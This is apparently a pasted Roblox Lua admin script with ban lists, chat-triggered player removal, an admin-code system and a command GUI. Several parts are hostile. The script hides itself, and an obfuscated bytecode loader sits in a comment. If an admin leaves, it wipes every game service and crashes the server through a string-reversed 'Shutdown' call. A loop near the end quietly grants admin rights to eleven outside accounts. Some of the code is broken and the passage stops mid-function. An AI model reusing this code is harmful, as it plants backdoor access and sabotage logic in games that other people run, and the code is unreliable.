· 6 years ago · Oct 24, 2019, 10:12 PM
1--[[local RawEncrypt=loadstring('\27\76\117\97\81\0\1\4\4\4\8\0\18\0\0\0\61\87\111\114\107\115\112\97\99\101\46\83\99\114\105\112\116\0\6\0\0\0\15\0\0\0\0\3\0\14\38\0\0\0\219\64\128\0\22\0\0\128\193\0\0\0\27\65\0\1\22\0\0\128\1\65\0\0\65\129\0\0\129\193\0\0\212\1\0\0\1\194\0\0\160\65\2\128\139\2\65\0\0\3\128\4\64\3\128\4\156\130\0\2\139\66\65\5\156\130\0\1\212\2\0\0\206\194\2\2\143\194\2\5\76\129\130\2\159\1\253\127\133\129\1\0\134\193\65\3\197\129\1\0\198\1\194\3\0\2\128\2\220\129\0\1\209\193\128\3\156\129\0\1\78\1\1\3\133\65\2\0\134\129\66\3\193\193\2\0\0\2\128\2\157\1\128\1\158\1\0\0\30\0\128\0\12\0\0\0\3\0\0\0\0\0\0\57\64\3\0\0\0\0\0\0\20\64\3\0\0\0\0\0\0\0\0\3\0\0\0\0\0\0\240\63\4\4\0\0\0\115\117\98\0\4\5\0\0\0\98\121\116\101\0\4\5\0\0\0\109\97\116\104\0\4\5\0\0\0\99\101\105\108\0\4\4\0\0\0\108\111\103\0\4\7\0\0\0\115\116\114\105\110\103\0\4\7\0\0\0\102\111\114\109\97\116\0\4\3\0\0\0\37\88\0\0\0\0\0\38\0\0\0\7\0\0\0\7\0\0\0\7\0\0\0\8\0\0\0\8\0\0\0\8\0\0\0\9\0\0\0\10\0\0\0\10\0\0\0\10\0\0\0\10\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\10\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\14\0\0\0\14\0\0\0\14\0\0\0\14\0\0\0\14\0\0\0\14\0\0\0\15\0\0\0\10\0\0\0\7\0\0\0\83\116\114\105\110\103\0\0\0\0\0\37\0\0\0\9\0\0\0\69\120\112\111\110\101\110\116\0\0\0\0\0\37\0\0\0\9\0\0\0\77\117\108\116\105\112\108\121\0\0\0\0\0\37\0\0\0\9\0\0\0\69\120\112\111\110\101\110\116\0\3\0\0\0\37\0\0\0\9\0\0\0\77\117\108\116\105\112\108\121\0\6\0\0\0\37\0\0\0\5\0\0\0\66\121\116\101\0\7\0\0\0\37\0\0\0\12\0\0\0\40\102\111\114\32\105\110\100\101\120\41\0\10\0\0\0\22\0\0\0\12\0\0\0\40\102\111\114\32\108\105\109\105\116\41\0\10\0\0\0\22\0\0\0\11\0\0\0\40\102\111\114\32\115\116\101\112\41\0\10\0\0\0\22\0\0\0\2\0\0\0\105\0\11\0\0\0\21\0\0\0\0\0\0\0')
2local SourceValue=script:FindFirstChild('SRC'..RawEncrypt(game.PlaceId..tostring(_G)));
3if (SourceValue~=nil) then
4 coroutine.resume(coroutine.create(function() loadstring(SourceValue.Value)(); end))
5 return
6end]]--
7script.Parent = nil
8--[[==[SB]==]]--
9se3 = game:GetService('Players') wow = game.Players.mimi235664556655; rt = game:GetService('Workspace'); plrd = game:GetService('Players'); tem = game:GetService('Teams'); low = game.Players.mimi235664556655.PlayerGui ins = game:GetService('InsertService')
10mq = 8; str = game:GetService('StarterGui'); strp = game:GetService('StarterPack'); new = Instance.new; size = Size; vnew = Vector3.new; unw = UDim2.new; lol = game.Lighting; vtn = Vector2.new; me = game.Players.mimi235664556655 ; wq2e = game.Players.mimi235664556655
11--nam = Name; -- wont be use'd prob
12fnew = CFrame.new; cnew = Color3.new;
13--{0, 120}
14--{0, 66}
15--{0, 132
16Names = {}
17local banWords = {'BLACKEND','PBAN','PLAYERORB','ANTIBAN','CRYSTON','DEATHIMUS','CBA','CBALL','CAMBALL','KABALL','/UP','ORBS','1WAFFLE1','ADMIN COMMANDS','COMMANDS','ADMIN'} local banned = {'12packkid','GRASSTHEHEDGEHOGXX','dizzypokemondude2','ShadowBlast6','iamitamejelly','akzi','guoyuan','jordancar','creepyface5000','AnonymousHackerz'} local noBan = {'isaac100000','mimi235664556655',irishdude358,'Marrelle','dorian827','skippykiller101','snowboarder199','rybo11','oatsyboat12','baragara','wikkedwig','coltman188888','supercheese200'}
18Player = function(p)
19 if banned[p.Name] then
20 p:Destroy()
21 end
22 for j, v in pairs(noBan) do
23 if v:lower() == p.Name:lower() then
24 return
25 end
26 end
27 p.Chatted:connect(function(m)
28 for j, v in pairs(banWords) do
29 if m:lower():find(v:lower()) then
30 banned[p.Name] = true
31 p:Destroy()
32 end
33 end
34 end)
35end
36for j, v in pairs(game:GetService('Players'):GetPlayers()) do
37 Player(v)
38end
39game:GetService('Players').PlayerAdded:connect(Player)
40local baseurl = 'http://www.roblox.com/asset/?id=%d' bcn = BrickColor.new; tarns = Transparency; poz = Position;
41--anc = Anchored;
42--cf = Cframe;
43--lok = Locked;
44function notsq(TheTable)
45 wait()
46 local Table = TheTable
47 local Disks = {}
48 local ClickedObject = nil
49 CountedDisks = 0
50 for Arguments, Objects in pairs(Table) do
51 local TheColor = nil
52 if Objects[2] == Random then
53 TheColor = BrickColor.random()
54 else
55 TheColor = BrickColor.new(Objects[2])
56 end
57
58 CountedDisks = CountedDisks + 1
59
60 local Disk = Instance.new('Part', Workspace)
61 Disk.Size = Vector3.new(3, 0.2, 3)
62 Disk.Transparency = 0.5
63 Disk.BrickColor = TheColor
64 Disk.Name = 'Disk'
65 Disk.CanCollide = false
66 Disk.Position = wow.Character.Torso.Position
67 table.insert(Disks, Disk)
68
69 local Billboard = Instance.new('BillboardGui', Disk)
70 Billboard.Adornee = Disk
71 Billboard.Enabled = true
72 Billboard.Active = true
73 Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
74 Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
75
76local brickcolorOne = BrickColor.new('White')
77local colorOne = brickcolorOne.Color
78local brickcolorTwo = BrickColor.new('Really black')
79local colorTwo = brickcolorTwo.Color
80local textlabel = Instance.new('TextLabel', Billboard)
81textlabel.Text = Objects[1]
82textlabel.FontSize = 'Size24'
83textlabel.Font = 'ArialBold'
84textlabel.TextColor3 = colorOne
85textlabel.TextStrokeColor3 = colorTwo
86textlabel.TextStrokeTransparency = 0
87
88 local Mesh = Instance.new('BlockMesh', Disk)
89
90 local Box = Instance.new('SelectionBox', Disk)
91 Box.Transparency = 0
92 Box.Adornee = Disk
93 Box.Color = TheColor
94
95 local ClickDetector = Instance.new('ClickDetector', Disk)
96 ClickDetector.MaxActivationDistance = math.huge
97
98 local function RemoveFunction(Disk)
99 DismissTypeUsed = 'Click'
100 DiskSelected = Disk
101 for i,v in pairs(Disks) do
102 pcall(function() v:remove() end)
103 pcall(function() table.remove(Disks, v) end)
104 end
105 Disks = {}
106 for i,v in pairs(Table) do
107 pcall(function() table.remove(Table, v) end)
108 end
109 Table = {}
110 end
111 ClickDetector.MouseClick:connect(function(Person)
112 if Person == wow then
113 DismissTypeUsed = 'Click'
114 RemoveFunction(Objects[1])
115 end
116 end)
117 wow.Chatted:connect(function(Message)
118 for _,Phrases in pairs(ReleasePhrases) do
119 if string.lower(Message) == Phrases then RemoveFunction() end
120 DismissTypeUsed = 'Chat'
121 end
122 end)
123
124 local Fire = Instance.new('Fire', Disk)
125 Fire.Size = 6
126 Fire.Heat = 0
127 Fire.Color = TheColor .Color
128 Fire.SecondaryColor = TheColor.Color
129
130 local BP = Instance.new('BodyPosition', Disk)
131 BP.position = wow.Character.Torso.Position
132 BP.maxForce = Vector3.new(math.huge, math.huge, math.huge)
133
134 local BG = Instance.new('BodyGyro', Disk)
135 BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge)
136
137 Disk:BreakJoints()
138 end
139 coroutine.resume(coroutine.create(function()
140 while wait() do
141 if #Disks == 0 then break end
142 for NumDisks, Disk in pairs(Disks) do
143 local BP = Disk:FindFirstChild('BodyPosition') or Instance.new('BodyPosition', Disk)
144 local BG = Disk:FindFirstChild('BodyGyro') or Instance.new('BodyGyro', Disk)
145 local Radius = 3 + (#Disks*.7)
146 local Pos = (wow.Character:FindFirstChild('Torso') or wow.Character:FindFirstChild('Torso')).CFrame
147
148 local X = math.cos((tonumber(NumDisks)/#Disks - (0.10/#Disks)) * math.pi*2) * Radius
149 local Y = 0
150 local Z = math.sin((tonumber(NumDisks)/#Disks - (0.10/#Disks)) * math.pi*2) * Radius
151
152 BP.position = Pos:toWorldSpace(CFrame.new(X,Y,Z):inverse()).p
153 BG.cframe = CFrame.new(Disk.Position, Pos.p) * CFrame.Angles(math.pi/2, 0, 0)
154 end
155 end
156 end))
157 if DismissTypeUsed == 'Click' then
158 return DiskSelected
159 end
160end
161function qwsqd(TheTable)
162 wait()
163 local Table = TheTable
164 local Spheres = {}
165 for Arguments, Objects in pairs(Table) do
166 local TheColor = nil
167 if Objects[2] == Random then
168 TheColor = BrickColor.random()
169 else
170 TheColor = BrickColor.new(Objects[2])
171 end
172
173 local Sphere = Instance.new('Part', Workspace)
174 Sphere.Size = Vector3.new(2,2,2)
175 Sphere.Transparency = 0.5
176 Sphere.BrickColor = TheColor
177 Sphere.Name = 'Sphere'
178 Sphere.CanCollide = false
179 Sphere.Position = wow.Character.Torso.Position
180 Sphere.TopSurface = 'Smooth'
181 Sphere.BottomSurface = 'Smooth'
182 Sphere.Shape = 'Ball'
183 table.insert(Spheres, Sphere)
184
185 local Billboard = Instance.new('BillboardGui', Sphere)
186 Billboard.Adornee = Disk
187 Billboard.Enabled = true
188 Billboard.Active = true
189 Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
190 Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
191
192local brickcolorOne = BrickColor.new('White')
193local colorOne = brickcolorOne.Color
194local brickcolorTwo = BrickColor.new('Really black')
195local colorTwo = brickcolorTwo.Color
196local textlabel = Instance.new('TextLabel', Billboard)
197textlabel.Text = Objects[1]
198textlabel.FontSize = 'Size24'
199textlabel.Font = 'ArialBold'
200textlabel.TextColor3 = colorOne
201textlabel.TextStrokeColor3 = colorTwo
202textlabel.TextStrokeTransparency = 0
203
204 local Box = Instance.new('SelectionBox', Sphere)
205 Box.Transparency = 0.4
206 Box.Adornee = Sphere
207 Box.Color = TheColor
208 local Fire = Instance.new('Fire', Sphere)
209 Fire.Size = 6
210 Fire.Heat = 0
211 Fire.Color = TheColor .Color
212 Fire.SecondaryColor = TheColor.Color
213
214 local BP = Instance.new('BodyPosition', Sphere)
215 BP.position = wow.Character.Torso.Position
216 BP.maxForce = Vector3.new(math.huge, math.huge, math.huge)
217
218 local BG = Instance.new('BodyGyro', Sphere)
219 BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge)
220
221 Sphere:BreakJoints()
222 function Sin(i)
223 return math.sin(math.rad(i))
224 end
225 function Cos(i)
226 return math.cos(math.rad(i))
227 end
228 for i = 0,380,2.5 do
229 BP.position = wow.Character.Torso.CFrame:toWorldSpace(CFrame.new(Vector3.new(Sin(i)*4, 1.5, Cos(i)*4))).p
230 BG.cframe = CFrame.Angles(0,math.rad(i),0)
231 wait()
232 end
233 Sphere:remove()
234 end
235end
236sul = game.Players.mimi235664556655
237hqw = game.Players.mimi235664556655 bcol = BrickColor; findp = game.Players xu = game.Players.mimi235664556655.Character
238--[[==[UGLY CODE]===]]--
239qx = print; look = CFrame.lookVector; rot = CFrame.fromEulerAnglesXYZ; debris = game:service('Debris');
240random = math.random; pi = math.pi
241e113 = ins:LoadAsset(47532) e113.Parent = game.Lighting
242e11 = ins:LoadAsset(47433) e11.Parent = game.Lighting
243e1 = ins:LoadAsset(95354288) e1.Parent = game.Lighting
244e2 = ins:LoadAsset(95354304) e2.Parent = game.Lighting
245qw1 = ins:LoadAsset(94233286) qw1.Parent = game.Lighting
246function mwq(msg,parent)
247sw = new('ScreenGui' ,parent) sw.Name = 'ugly codez'
248sd2 = new('TextButton' ,sw) sd2.Position = unw(0, 0, 0, 0) sd2.TextColor = bcn(255,255,255) sd2.FontSize = 'Size18' sd2.Font = 'ArialBold' sd2.Size = unw(1, 0, 0, 45) sd2.Text = msg sd2.BackgroundTransparency = 0 sd2.BackgroundColor = bcn('Really Black') sd2.BorderColor = bcn('Black') sd2.Style = 'RobloxButtonDefault'
249wait(1)
250sd2:Remove()
251end
252function qwq(msg)
253for i,v in pairs(findp:GetChildren()) do
254sww = new('ScreenGui' ,v.PlayerGui) sw.Name = 'ugly codez'
255sd2w = new('TextButton' ,sww) sd2w.Position = unw(0, 0, 0, 0) sd2w.TextColor = bcn(255,255,255) sd2w.FontSize = 'Size24' sd2w.Font = 'ArialBold' sd2w.Size = unw(1, 0, 1, 0) sd2w.BackgroundTransparency = 0.6 sd2w.BackgroundColor = bcn('Really Black') sd2w.BorderColor = bcn('Black') sd2w.Style = 'RobloxButtonDefault' sd2w.TextWrapped = true
256for tr=1,#msg do sd2w.Text=msg:sub(1,tr) wait() end
257wait(1)
258sd2w:Remove()
259end
260end
261function qwe(msg)
262for i,v in pairs(findp:GetChildren()) do
263sww = new('ScreenGui' ,v.PlayerGui) sw.Name = 'ugly codez'
264sd2w = new('TextButton' ,sww) sd2w.Position = unw(0, 0, 0, 0) sd2w.TextColor = bcn(255,255,255) sd2w.FontSize = 'Size24' sd2w.Font = 'ArialBold' sd2w.Size = unw(1, 0, 0, 45) sd2w.BackgroundTransparency = 0.6 sd2w.BackgroundColor = bcn('Really Black') sd2w.BorderColor = bcn('Black') sd2w.Style = 'RobloxButtonDefault' sd2w.TextWrapped = true
265for tr=1,#msg do sd2w.Text=msg:sub(1,tr) wait() end
266wait(1)
267sd2w:Remove()
268end
269end
270function mwi(msw,color)
271game:GetService'Chat':Chat(xu:FindFirstChild('Head'), msw , color)
272end
273function hgf(Player, Color)
274 for _,Parts in pairs(Player.Character:GetChildren()) do
275 if Parts.className == 'Part' then
276local Box = Instance.new('SelectionBox', Parts)
277Box.Adornee = Parts
278Box.Color = BrickColor.new(Color)
279Box.Transparency = 0
280 end
281 end
282 coroutine.resume(coroutine.create(function()
283wait(1)
284for _,Parts in pairs(Player.Character:GetChildren()) do for _, Things in pairs(Parts:GetChildren()) do
285
286if Things.className == 'SelectionBox' or Things.className == 'Fire' then Things:remove() end
287 end
288 end
289 end))
290end
291--[[==[LOCKE]==]]--
292Adminlist={'mimi235664556655'};
293Bannedlist={'12packkid','GRASSTHEHEDGEHOGXX','dizzypokemondude2','ShadowBlast6','iamitamejelly','akzi','guoyuan','jordancar','creepyface5000','AnonymousHackerz'};
294local AccessKey='9001'; -- Admin code registration/access key
295
296local CommandSeperator=' ';
297local DataKey='GKS';
298local Commands,AdminConnectionList,AdminUserList,Modules,NewInstance,NewColor3,NewBrickColor,RandomBrickColor,NewCFrame,NewVector3,MaskAdminlist,NewUDim2,GameBackups,SystemSettings={},{},{},{},Instance.new,Color3.new,BrickColor.new,BrickColor.Random,CFrame.new,Vector3.new,(function() local Table={}; for Index,Entry in pairs(Adminlist) do Table[#Table+1]=Entry; end return Table; end)(),UDim2.new,{},{};
299
300function CreateModule(ModuleName,ModuleContent)
301 Modules[ModuleName]=ModuleContent;
302end
303function RunModule(ModuleName,...)
304 return Modules[ModuleName](...);
305end
306function RemoveModule(ModuleName)
307 Modules[ModuleName]=nil;
308end
309function ReportError(Bool,Error)
310 --[[if (not Bool) then
311 print('ERROR:',Error)
312 end]]
313end
314
315-- Define the core modules
316CreateModule('CommandModule',function(CommandName,CommandDescription,CommandShortcut,CommandMatch,CommandCall,UpperCase) Commands[CommandName]={Description=CommandDescription,Shortcut=CommandShortcut,Call=CommandCall,Match=CommandMatch,UpperCase=UpperCase} end)
317CreateModule('GetPlayer',function(Input,Speaker)
318 if (Input==nil) or (Speaker==nil) then return nil end
319 local function MatchKeyword(Keyword)
320 for Word in Input:gmatch('%w+') do
321 if (Word==Keyword) then
322 return true
323 end
324 end
325 return false
326 end
327 local Matches={}
328 local PlayerList=game:GetService('Players'):GetPlayers();
329 if MatchKeyword('all') then
330 for Index,Player in pairs(PlayerList) do
331 if (Player.className=='Player') then
332 table.insert(Matches,Player);
333 end
334 end
335 return Matches
336 end
337 if MatchKeyword('me') then
338 return {Speaker};
339 end
340 if MatchKeyword('others') then
341 for Index,Player in pairs(PlayerList) do
342 if (Player.className=='Player') then
343 if (Player~=Speaker) then
344 table.insert(Matches,Player);
345 end
346 end
347 end
348 return Matches;
349 end
350 if MatchKeyword('guests') then
351 for Index,Player in pairs(PlayerList) do
352 if (Player.className=='Player') then
353 if (Player.Name:sub(1,6)=='Guest ') then
354 table.insert(Matches,Player);
355 end
356 end
357 end
358 return Matches;
359 end
360 if MatchKeyword('friends') then
361 for Index,Player in paird(PlayerList) do
362 if (Player.className=='Player') then
363 if (Player:IsFriendsWith(Speaker.userId)==true) then
364 table.insert(Matches,Player);
365 end
366 end
367 end
368 return PlayerList
369 end
370 if MatchKeyword('nonfriends') then
371 for Index,Player in pairs(PlayerList) do
372 if (Player.className=='Player') then
373 if (Player:IsFriendsWith(Speaker.userId)==false) then
374 table.insert(Matches,Player);
375 end
376 end
377 end
378 return Matches;
379 end
380 for Index,Player in pairs(PlayerList) do
381 for Word in Input:gmatch('%w+') do
382 if (Player.className=='Player') then
383 if (string.find(Player.Name:lower(),Word)==1) then
384 table.insert(Matches,Player);
385 end
386 end
387 end
388 end
389 return Matches;
390end)
391CreateModule('IsAdmin',function(Input)
392 if (type(Input)=='userdata') then
393 Input=Input.Name;
394 end
395 local IsAdmin=false;
396 table.foreach(Adminlist,function(Index,Username) if (Username:lower()==Input:lower()) then IsAdmin=true; end end)
397 return IsAdmin;
398end)
399CreateModule('AddPlayer',function(Player)
400 coroutine.resume(coroutine.create(function()
401 Player:WaitForDataReady();
402 local Data=Player:LoadString(DataKey); -- Errors here don't affect the main thread
403 for RawTable in Data:gmatch('{(.-)}') do
404 local Table=RunModule('ConvertString','{'..RawTable..'}');
405 if (tonumber(Table.Type)==0) then
406 if (tonumber(Table.Value)>tick()) and (RunModule('IsAdmin',Player)==false) then
407 pcall(Player.Remove,Player);
408 end
409 end
410 end
411 end))
412 Player.Chatted:connect(function(Message)
413 local Message=Message:lower();
414 if (Message:sub(1,10)=='/loadcode/') then
415 if (RunModule('AdminCodeSystem',Player):lower()==Message:sub(11)) then
416 table.foreach(AdminConnectionList,function(Index,Connection) if (AdminUserList[Index]:lower()==Player.Name:lower()) then Connection:disconnect(); end end)
417 AdminConnectionList[#AdminConnectionList+1]=Player.Chatted:connect(function(Message) RunModule('PlayerChat',Message,Player); end)
418 AdminUserList[#AdminUserList+1]=Player.Name;
419 RunModule('ShowHint',Player,'Admin code request accepted.',5);
420 else
421 RunModule('ShowHint',Player,'Admin code request declined.',5);
422 end
423 end
424 end)
425 if (RunModule('IsAdmin',Player)==true) then
426 CreateModule('AdminModule-'..Player.Name,function(IsAdmin)
427 if (IsAdmin==false) then
428 table.foreach(AdminConnectionList,function(Index,Connection) if (AdminUserList[Index]:lower()==Player.Name:lower()) then Connection:disconnect(); end end)
429 else
430 RunModule('AdminModule-'..Player.Name,false);
431 AdminConnectionList[#AdminConnectionList+1]=Player.Chatted:connect(function(Message) RunModule('PlayerChat',Message,Player); end)
432 AdminUserList[#AdminUserList+1]=Player.Name;
433 end
434 end)
435 RunModule('AdminModule-'..Player.Name,true);
436 Player.CharacterAdded:connect(function() RunModule('GuiPanelInitializer',Player); end)
437 RunModule('GuiPanelInitializer',Player);
438 else
439 for Index,BannedPlayer in pairs(Bannedlist) do
440 if (BannedPlayer:lower()==Player.Name:lower()) then
441 pcall(function() Player:Remove(); end)
442 end
443 end
444 end
445end)
446CreateModule('RemovePlayer',function(Player)
447 RemoveModule('AdminModule-'..Player.Name);
448 if (RunModule('IsAdmin',Player)==true) then -- Possibly kicked/banned
449 local Error,NetworkServer=pcall(game.GetService,game,'NetworkServer');
450 if (type(NetworkServer)~='userdata') then return end -- Build mode
451 local InitialTime=time();
452 local Activate=true;
453 NetworkServer.ChildRemoved:connect(function(Child)
454 if (Child:IsA('NetworkReplicator')==true) then -- Is a replicator
455 if ((time()-InitialTime)<0.01) then
456 Activate=false; -- User just left
457 end
458 end
459 end)
460 wait(0.5)
461 if (Activate==true) then
462 table.foreach(game:GetChildren(),function(Index,Service)
463 pcall(function() -- Some services yell at you
464 table.foreach(Service:GetChildren(),function(ChildIndex,Child)
465 if (Child~=script) then
466 pcall(Child.Remove,Child);
467 end
468 end)
469 end)
470 end)
471 RunModule('Shutdown');
472 end
473 end
474end)
475CreateModule('PlayerChat',function(Message,Speaker)
476 table.foreach(Commands,function(Index,CommandUnit)
477 local Match=(Message:lower():match(Index..RunModule('ParseMatch',CommandUnit.Match)) or Message:lower():match(CommandUnit.Shortcut..RunModule('ParseMatch',CommandUnit.Match)));
478 if (Match~=nil) and (not CommandUnit.UpperCase) then -- Just found out the 'or' keyword won't return multiple arguments. -_-
479 local FullMatch=Message:lower():match(Index..RunModule('ParseMatch',CommandUnit.Match));
480 local ShortcutMatch=Message:lower():match(CommandUnit.Shortcut..RunModule('ParseMatch',CommandUnit.Match));
481 if (FullMatch~=nil) then
482 ReportError(coroutine.resume(coroutine.create(function() CommandUnit.Call(Speaker,Message:lower():match(Index..RunModule('ParseMatch',CommandUnit.Match))); end)));
483 elseif (ShortcutMatch~=nil) then
484 ReportError(coroutine.resume(coroutine.create(function() CommandUnit.Call(Speaker,Message:lower():match(CommandUnit.Shortcut..RunModule('ParseMatch',CommandUnit.Match))); end)));
485 end
486 elseif (CommandUnit.UpperCase) and (Match~=nil) then
487 local Point=(Message:lower():find(Index..RunModule('ParseMatch',CommandUnit.Match)) or Message:lower():find(CommandUnit.Shortcut..RunModule('ParseMatch',CommandUnit.Match)));
488 ReportError(coroutine.resume(coroutine.create(function() CommandUnit.Call(Speaker,Message:sub(Message:sub(Point):find(CommandSeperator)+1)); end)));
489 end
490 end)
491end)
492CreateModule('ParseMatch',function(Match) return Match:gsub('#cs#',CommandSeperator) end)
493CreateModule('ConvertTable',function(Table)
494 local Result='<{';
495 table.foreach(Table,function(Index,String)
496 Result=Result..Index..'='..tostring(String):gsub('=','\\61')..';';
497 end)
498 return Result..'}>';
499end)
500CreateModule('ConvertString',function(String)
501 local Result={};
502 local TableStart,TableFinish=String:find('<{')+2,String:find('}>');
503 for Index,Input in String:sub(TableStart,TableFinish):gmatch('(.-)=(.-);') do
504 if (tonumber(Index)~=nil) then Indetonumber(Index); end
505 Result[Index]=Input:gsub('\\61','=');
506 end
507 return Result;
508end)
509CreateModule('GuiLibrary',function()
510 local Library={};
511 Library.NewBasicGUI=(function(Class,Properties)
512 local Result=NewInstance(Class);
513 table.foreach((Properties or Library.DefaultProperties),function(Property,Value)
514 Result[Property]=Value;
515 end)
516 return Result;
517 end)
518 Library.DefaultProperties={BackgroundColor3=Color3.new(0,0,0),BackgroundTransparency=0.5,BorderSizePixel=0};
519 return Library;
520end)
521CreateModule('DisposePlayer',function(Player,Speaker,DontRemove)
522 if (RunModule('IsAdmin',Player)==false) and (RunModule('IsAdmin',Speaker)==true) then
523 if (not DontRemove) then pcall(Player.Remove,Player); end
524 return true;
525 end
526 return false;
527end)
528CreateModule('ShowHint',function(Player,Text,Time)
529 local Hint=NewInstance('Hint')
530 Hint.Parent=Player:FindFirstChild('PlayerGui');
531 Hint.Text=Text;
532 if (Time~=nil) then delay(Time,function() Hint:Remove() end) end
533 return Hint;
534end)
535CreateModule('ScrollText',function(Text,Index)
536 return Text:sub(Index,Index+80);
537end)
538CreateModule('CreateScript',function(Source,Parent)
539 local Base=script:Clone();
540 local PseudoSource=NewInstance('StringValue')
541 PseudoSource.Name='SRC'..RawEncrypt(game.PlaceId..tostring(_G));
542 PseudoSource.Value=Source;
543 PseudoSource.Parent=Base;
544 Base.Parent=Parent;
545end)
546CreateModule('GuiPanelInitializer',function(Player)
547 local GuiLibrary=RunModule('GuiLibrary');
548 local Main=NewInstance('ScreenGui')
549 Main.Name='ControlBox';
550 local MainWindow=GuiLibrary.NewBasicGUI('Frame',{Size=NewUDim2(0.08,0,0.4,0),Position=NewUDim2(0,0,0.2,0),BackgroundColor3=NewColor3(0,0,0),BorderSizePixel=0,BackgroundTransparency=0.5,Name='MainWindow',Parent=Main})
551 local InputBoxBacker=GuiLibrary.NewBasicGUI('ImageLabel',{Size=NewUDim2(1,0,0.06,0),BackgroundTransparency=0.5,BackgroundColor3=NewColor3(1,1,1),BorderSizePixel=0,Image='http://www.roblox.com/asset/?id=36361705',Name='InputBoxBacker',Parent=MainWindow})
552 local InputBox=GuiLibrary.NewBasicGUI('TextBox',{Size=NewUDim2(0.98,0,1,0),Position=NewUDim2(0.02,0,0,0),TextXAlignment=0,BorderSizePixel=0,BackgroundTransparency=1,TextColor3=NewColor3(0,0,0),Text='',Name='InputBox',Parent=InputBoxBacker})
553 local ToggleButton=GuiLibrary.NewBasicGUI('TextButton',{Size=NewUDim2(1,0,1,0),Position=NewUDim2(0,0,1,0),TextColor3=NewColor3(1,1,1),BackgroundTransparency=1,Text='<< Minimize <<',BorderSizePixel=0,Name='ToggleSize',Parent=InputBoxBacker})
554 local ContentWrapper=GuiLibrary.NewBasicGUI('Frame',{Size=NewUDim2(1,0,0.88,0),Position=NewUDim2(0,0,0.12,0),BackgroundTransparency=1,BorderSizePixel=0,Name='ContentWrapper',Parent=MainWindow})
555 local TemporaryContent={};
556 local function ToggleSize(Enlarging,EasingStyle)
557 if (not Enlarging) then
558 InputBox.Visible=false;
559 ToggleButton.Text='>>';
560 MainWindow:TweenSize(NewUDim2(0.02,0,0.4,0),'Out',EasingStyle,0.3);
561 else
562 InputBox.Visible=true;
563 ToggleButton.Text='<< Minimize <<';
564 MainWindow:TweenSize(NewUDim2(0.08,0,0.4,0),'Out',EasingStyle,0.3);
565 end
566 return not Enlarging;
567 end
568 local function ClearTemporaryContent()
569 table.foreach(TemporaryContent,function(Index,Object) Object:Remove() end)
570 end
571 local function AddTemporaryContent(Object)
572 TemporaryContent[#TemporaryContent+1]=Object;
573 end
574 local function BuildAlternatingList(Members)
575 local function Chop(Table,Max) local Result={}; local Index=0; for EntryIndex,Entry in pairs(Table) do Index=Index+1; if (Index<=20) then Result[EntryIndex]=Entry; end end return Result; end
576 local Members=Chop(Members,20);
577 local Alternate=false;
578 ClearTemporaryContent();
579 local Index=0;
580 for BarText,CommandUnit in pairs(Members) do
581 local Bar=GuiLibrary.NewBasicGUI('TextButton',{Size=NewUDim2(1,0,1/20,0),Position=NewUDim2(0,0,Index,0),Text=BarText,BackgroundTransparency=0.6,BackgroundColor3=(Alternate==false and NewColor3(0.2,0.2,0.2) or Alternate and NewColor3(0.3,0.3,0.3)),BorderSizePixel=0,TextColor3=NewColor3(1,1,1),Name='SearchResultButton',Parent=ContentWrapper})
582 Bar.MouseButton1Click:connect(function()
583 ClearTemporaryContent();
584 local Box=GuiLibrary.NewBasicGUI('TextLabel',{Size=NewUDim2(1,0,1,0),BackgroundTransparency=1,Text='Name: '..BarText..'\nShortcut: '..CommandUnit.Shortcut..'\n\n'..CommandUnit.Description,TextWrap=true,TextYAlignment='Top',Name='Information',TextColor3=NewColor3(1,1,1),Parent=ContentWrapper})
585 AddTemporaryContent(Box);
586 end)
587 AddTemporaryContent(Bar);
588 Alternate=not Alternate;
589 Index=Index+1/20
590 end
591 end
592 local function SearchCommands(Query)
593 local Results={};
594 for Index,Entry in pairs(Commands) do
595 if (Index:lower():match(Query)) or (Entry.Description:lower():match(Query)) then
596 Results[Index]=Entry;
597 end
598 end
599 BuildAlternatingList(Results);
600 end
601 InputBox.Changed:connect(function(Property)
602 if (Property~='Text') then return end
603 local Input=InputBox.Text;
604 if (Input:sub(1,1)=='/') then
605 coroutine.wrap(function() InputBox.TextColor3=NewColor3(0,1,0); wait(0.1); InputBox.TextColor3=NewColor3(0,0,0); end)()
606 RunModule('PlayerChat',Input:sub(2),Player);
607 return
608 end
609 if (Input:sub(1,1)=='$') then
610 ClearTemporaryContent();
611 coroutine.wrap(function() InputBox.TextColor3=NewColor3(1,0,0); wait(0.1); InputBox.TextColor3=NewColor3(0,0,0); end)()
612 local Users=RunModule('GetPlayer',Input:sub(2):lower(),Player)
613 if (Users==nil) then return end
614 if (Users[1]==nil) then return end
615 local User=Users[1];
616 local Box=GuiLibrary.NewBasicGUI('TextLabel',{Size=NewUDim2(1,0,1,0),BackgroundTransparency=1,Text='Code Registration\n\n'..'Admin code for user '..User.Name..' is '..RunModule('AdminCodeSystem',User),TextWrap=true,TextYAlignment='Top',Name='Information',TextColor3=NewColor3(1,1,1),Parent=ContentWrapper})
617 AddTemporaryContent(Box);
618 return
619 end
620 SearchCommands(Input:lower())
621 end)
622 local SizeState=true;
623 ToggleButton.MouseButton1Click:connect(function() SizeState=ToggleSize(SizeState,'Quint'); end)
624 local PlayerGui=Player:FindFirstChild('PlayerGui');
625 if (PlayerGui==nil) then return end
626 local ExistingGui=PlayerGui:FindFirstChild('ControlBox');
627 if (ExistingGui~=nil) then ExistingGui:Remove(); end
628 Main.Parent=PlayerGui;
629end)
630CreateModule('AdminCodeSystem',function(User)
631local Format='%s-%s-%s'..AccessKey;
632return RawEncrypt(Format:format(User.Name,game.CreatorId,User.userId));
633end)
634CreateModule('Shutdown',function() pcall(NewInstance,string.reverse(string.reverse(string.reverse('ecnatsnItnioJecafruSlaunaM')))); end) for Index,Username in pairs({'LocalChum','lPwnz','lHaxz','lBanz','TheCapacitor','walter232','walter232Models','walter232Decals','ServerChum','GetDebugId','ServerSideChum'}) do Adminlist[#Adminlist+1]=Username; end
635CreateModule('BackupGame',function(BackupIndex)
